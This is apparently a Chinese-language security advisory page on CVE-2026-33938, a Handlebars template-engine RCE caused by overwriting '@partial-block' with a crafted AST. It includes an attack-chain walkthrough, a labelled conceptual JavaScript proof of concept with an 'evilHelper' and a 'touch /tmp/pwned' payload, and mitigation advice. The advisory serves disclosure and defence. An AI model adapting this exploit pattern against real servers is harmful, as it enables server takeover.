IPBUF安全漏洞报告
English
CVE-2026-33938 CVSS 8.1 高危

CVE-2026-33938 Handlebars 远程代码执行漏洞

披露日期: 2026-03-27

漏洞信息

漏洞编号
CVE-2026-33938
漏洞类型
远程代码执行
CVSS评分
8.1 高危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
Handlebars

相关标签

RCE远程代码执行Handlebars模板注入AST注入CVE-2026-33938

漏洞概述

Handlebars是一个流行的语义模板引擎。在4.0.0至4.7.8版本中,特殊变量`@partial-block`被存储在模板数据上下文中,并且可以通过接受任意对象的辅助函数进行访问和修改。当辅助函数使用精心构造的Handlebars抽象语法树(AST)覆盖`@partial-block`时,随后的`{{> @partial-block}}`调用将编译并执行该AST。这一机制允许攻击者在服务器端执行任意JavaScript代码,从而完全控制受影响的服务器。

技术细节

该漏洞的核心在于Handlebars对模板上下文中特殊变量`@partial-block`的处理不当。在受影响版本中,`@partial-block`被视为普通上下文数据,允许辅助函数对其进行修改。攻击者可以利用接受任意对象作为参数的辅助函数,注入一个恶意的Handlebars AST对象。当模板引擎后续调用`{{> @partial-block}}`时,它会尝试编译这个被替换的AST。由于编译过程未对AST来源进行严格校验,恶意的JavaScript代码(如通过`MustacheStatement`或其他表达式)被编译并执行,导致远程代码执行(RCE)。此漏洞无需用户交互即可通过网络触发。

攻击链分析

STEP 1
侦查
攻击者识别目标系统正在使用Handlebars 4.0.0至4.7.8版本,并确认存在可被利用的辅助函数或模板输入点。
STEP 2
武器化
攻击者构造一个恶意的Handlebars AST对象,该对象包含旨在服务器端执行的JavaScript代码(如Shell命令或系统调用)。
STEP 3
交付
攻击者通过模板输入或上下文数据,将恶意载荷传递给能够修改上下文的辅助函数。
STEP 4
利用
辅助函数执行,将恶意AST写入`@partial-block`变量。随后模板引擎解析`{{> @partial-block}}`,触发编译过程。
STEP 5
执行
Handlebars编译器将恶意AST编译为可执行代码并运行,导致服务器执行任意JavaScript代码。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
// Conceptual PoC for CVE-2026-33938 const Handlebars = require('handlebars'); // Register a helper that overwrites @partial-block Handlebars.registerHelper('evilHelper', function(context, options) { // Malicious AST payload to execute arbitrary code const maliciousAST = { type: 'Program', body: [ { type: 'MustacheStatement', path: { type: 'PathExpression', data: true, parts: ['exec'], original: 'exec' }, params: [{ type: 'StringLiteral', value: 'touch /tmp/pwned', original: '"touch /tmp/pwned"' }], loc: { start: { line: 1, column: 0 }, end: { line: 1, column: 20 } } } ] }; // Overwrite the @partial-block in the root context options.data.root['@partial-block'] = maliciousAST; }); // Template that triggers the vulnerability const source = ` {{evilHelper}} {{> @partial-block}} `; // Compile and execute the template try { const template = Handlebars.compile(source); const result = template({}); console.log(result); } catch (e) { console.error('Exploitation failed or code executed:', e); }

影响范围

Handlebars >= 4.0.0, <= 4.7.8

防御指南

临时缓解措施
如果无法立即升级,建议切换到Handlebars的runtime-only构建版本,这会移除易受攻击的`compile()`方法,从而阻断利用路径。此外,应严格审计所有自定义及第三方辅助函数,确保它们将上下文数据视为只读,不进行修改。在处理不可信的模板或数据时,应禁用不必要的辅助函数。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表